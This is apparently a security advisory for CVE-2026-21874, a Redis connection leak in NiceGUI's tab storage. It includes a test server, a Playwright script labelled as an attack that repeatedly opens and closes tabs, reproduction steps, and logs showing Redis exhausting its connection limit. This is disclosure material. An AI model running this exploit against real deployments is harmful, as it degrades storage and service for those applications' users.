CVE-2026-21874
NiceGUI has Redis connection leak via tab storage causes service degradation
Description
### Summary An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. **NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.** ### Details When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92. Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached. ### PoC #### Test server (test_connection_leak.py) ```python import os import logging from datetime import timedelta import redis from nicegui import ui, app from nicegui.client import Client logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s") logging.getLogger("leak").setLevel(logging.INFO) log = logging.getLogger("leak") _original_handle_disconnect = Client.handle_disconnect _original_delete = Client.delete def _patched_handle_disconnect(self, socket_id: str) -> None: tab_id_before = self.tab_id _original_handle_disconnect(self, socket_id) log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs)) def _patched_delete(self) -> None: tab_id = self.tab_id tabs_before = len(app.storage._tabs) _original_delete(self) log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs)) Client.handle_disconnect = _patched_handle_disconnect Client.delete = _patched_delete _last_stats: tuple[int, int] = (0, 0) def log_stats() -> None: global _last_stats client = redis.from_url(os.environ["NICEGUI_REDIS_URL"]) conns = client.info("clients")["connected_clients"] client.close() tabs = len(app.storage._tabs) if (conns, tabs) != _last_stats: log.info("stats: conns=%d tabs=%d", conns, tabs) _last_stats = (conns, tabs) @ui.page("/") async def main(): await ui.context.client.connected() app.storage.tab["visited"] = True ui.label("Check logs") ui.timer(interval=2.0, callback=log_stats) if __name__ == "__main__": app.storage.max_tab_storage_age = timedelta(days=30).total_seconds() ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False) ``` #### Attack script (attack_connection_leak.py) ```python import asyncio from playwright.async_api import async_playwright async def attack(url: str, num_tabs: int) -> None: async with async_playwright() as p: browser = await p.chromium.launch(headless=True) for i in range(num_tabs): context = await browser.new_context() page = await context.new_page() try: await page.goto(url, wait_until="domcontentloaded", timeout=10000) await page.wait_for_timeout(500) except Exception: pass await context.close() await browser.close() if __name__ == "__main__": asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100)) ``` #### Steps to reproduce 1. Limit Redis connections: `redis-cli CONFIG SET maxclients 50` 2. Start server: `NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py` 3. Run attack: `python attack_connection_leak.py` 4. Observe server logs - Redis refuses connections: ``` NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080 2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1 2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1 2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2 2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2 2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3 2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3 2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3 2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3 2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3 2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4 2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4 2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4 2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5 2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5 2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5 2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5 2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5 2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5 2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5 2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6 2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6 2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6 2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7 2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7 2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7 2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7 2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7 2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8 2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8 2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8 2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9 2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9 2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9 2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9 2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9 2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10 2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10 2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10 2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11 2026-01-01 17:21:39,600 ERROR max number of clients reached Traceback (most recent call last): File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback result = self.callback() File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats conns = client.info("clients")["connected_clients"] ~~~~~~~~~~~^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info return self.execute_command("INFO", section, *args, **kwargs) ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command return self._execute_command(*args, **options) ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command conn = self.connection or pool.get_connection() ~~~~~~~~~~~~~~~~~~~^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper return func(*args, **kwargs) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection connection.connect() ~~~~~~~~~~~~~~~~~~^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect self.connect_check_health(check_health=True) ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health self.on_connect_check_health(check_health=check_health) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health auth_response = self.read_response() File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response response = self._parser.read_response(disable_decoding=disable_decoding) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response result = self._read_response(disable_decoding=disable_decoding) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response raise error redis.exceptions.ConnectionError: max number of clients reached 2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11 2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370 2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11 2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11 2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436 2026-01-01 17:21:40,502 ERROR max number of clients reached Traceback (most recent call last): File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions task.result() ~~~~~~~~~~~^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup if not await self.redis_client.exists(self.key) and not self: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command conn = self.connection or await pool.get_connection() ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection await self.ensure_connection(connection) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection await connection.connect() File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect await self.connect_check_health(check_health=True) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health await self.on_connect_check_health(check_health=check_health) File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health auth_response = await self.read_response() ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response response = await self._parser.read_response( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ disable_decoding=disable_decoding ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ) ^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response response = await self._read_response(disable_decoding=disable_decoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response raise error redis.exceptions.ConnectionError: max number of clients reached ``` 2026-01-01 17:21:39,600 ERROR max number of clients reached redis.exceptions.ConnectionError: max number of clients reached ## Impact Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.